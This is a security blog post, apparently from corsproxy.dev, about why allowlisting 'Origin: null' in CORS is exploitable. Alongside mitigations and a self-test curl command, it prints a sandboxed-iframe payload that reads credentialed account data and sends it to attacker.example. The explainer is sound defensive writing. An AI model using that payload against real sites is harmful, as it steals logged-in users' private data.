Null origin in CORS: why you can't trust it
Every browser can send a request with Origin: null, and the page that triggers it doesn't need any special access: a sandboxed iframe or a local file:// page will do. Some servers special-case that value in their CORS logic anyway, usually to stop local testing from failing. This post covers where the null origin comes from, why allowlisting it is a documented vulnerability, and how to check your own server for it.
Where "Origin: null" comes from
The Origin header isn't always a scheme-plus-host. Per the MDN reference for Access-Control-Allow-Origin, requests from documents whose origin doesn't serialize to a normal scheme/host/port triple send the literal string null instead. Two cases produce this on every browser:
- A sandboxed iframe:
<iframe sandbox>without theallow-same-origintoken gets an opaque origin by design, even though it's embedded in a normal page on a normal domain. - A local
file://page: opening an HTML file directly in the browser (no server, nohttp://) also serializes tonull.
Neither of those requires the attacker to control any infrastructure. Any page on the web can embed a sandboxed iframe that makes a request with Origin: null, whenever it wants, targeting whatever URL it wants.
Why servers end up trusting it
The usual path: someone opens an HTML file locally while debugging, their fetch call fails with a CORS error, they inspect the request and see Origin: null, and they add null to the allowlist to make the error go away. It works in development, ships to production, and now the server will set Access-Control-Allow-Origin: null for anyone who sends that header, which, as above, is anyone who wants to.
It's a narrower case of a broader mistake: a server that reflects whatever Origin it receives, with no validation at all, is exactly the misconfiguration the OWASP Web Security Testing Guide's CORS chapter flags as insecure. It calls out echoing the Origin header back without checks as a way to expose sensitive data to any origin. Trusting null specifically is just that mistake with one extra step of plausible deniability: it looks like a narrow, deliberate allowance instead of "accept anything."
The exploit, concretely
PortSwigger publishes a runnable lab for exactly this: CORS vulnerability with trusted null origin, where a sandboxed iframe forces the null origin and reads back data from an account endpoint that trusts it. The shape of that attack, in its simplest form, is a sandboxed iframe that issues a credentialed request and exfiltrates whatever comes back:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
fetch('https://victim.example/account-data', { credentials: 'include' })
.then(r => r.text())
.then(t => fetch('https://attacker.example/log?d=' + encodeURIComponent(t)));
</script>"></iframe>
This only reads anything back if three things are all true at once on the victim server: it echoes Access-Control-Allow-Origin: null, it sends Access-Control-Allow-Credentials: true, and the victim is logged in so their session cookie rides along with credentials: 'include'. That's exactly the combination the credentialed request rules exist to gate, and trusting null quietly satisfies the origin half of it for free, for anyone.
A W3C WebAppSec mailing list thread from 2017 makes the underlying point plainly: every sandboxed frame sends the same null value, so a server that trusts it has no way to distinguish a sandboxed page it meant to allow from a sandboxed page an attacker built on their own site. There's no safer way to write that allowlist entry: the value itself doesn't carry enough information to trust, no matter how carefully it's checked.
What to do instead
- Never put
nullin a CORS allowlist. If your server reflects allowed origins from a list, excludenullexplicitly, or just don't special-case it; an unmatched origin should fail closed. - Fix the local-testing error at the source. The reason
nullshows up in development is almost always opening a file directly. Run a local static server (python3 -m http.server, Vite,live-server) instead of double-clicking the HTML file, and the request will carry a realhttp://localhostorigin that you can allowlist safely. See 5 ways to fix CORS in development for the options. - Match origins exactly, not by substring or prefix. A check like "does the
Originheader contain my domain" passes for an attacker-controlled host such asvictim.com.attacker.netjust as easily as it passes for the real thing. Parse the header as a URL and compare the full origin, not a substring. - Don't combine a loose origin check with credentials. If the endpoint doesn't need cookies or
Authorizationforwarded cross-origin, dropAccess-Control-Allow-Credentialsentirely; see CORS with cookies and credentials for the full rule set.
Checking your own server
One request tells you whether this applies to you:
curl -sI -H "Origin: null" -H "Cookie: session=test" \
https://your-api.example.com/some-authenticated-route | grep -i access-control
If Access-Control-Allow-Origin: null comes back alongside Access-Control-Allow-Credentials: true, the endpoint is exploitable exactly as described above. Fix it before anything else on this page.
How corsproxy.dev handles Origin: null
corsproxy.dev's own CORS headers don't reflect the Origin header at all: Access-Control-Allow-Origin is always *, and we never send Access-Control-Allow-Credentials, so there's no origin-trust decision to get wrong in the first place. That's a deliberate trade covered in more depth in how a CORS proxy works — and how it can be abused.
API keys have a separate, narrower origin control (one allowed browser origin per key, a browser-side protection only), and it's built on the same strict-parsing rule the exploit above depends on being absent: an allowed origin has to parse as a real http: or https: URL with no path, query, or credentials. null doesn't parse that way, so it can't be entered as a rule, by construction rather than by a special case someone had to remember to add.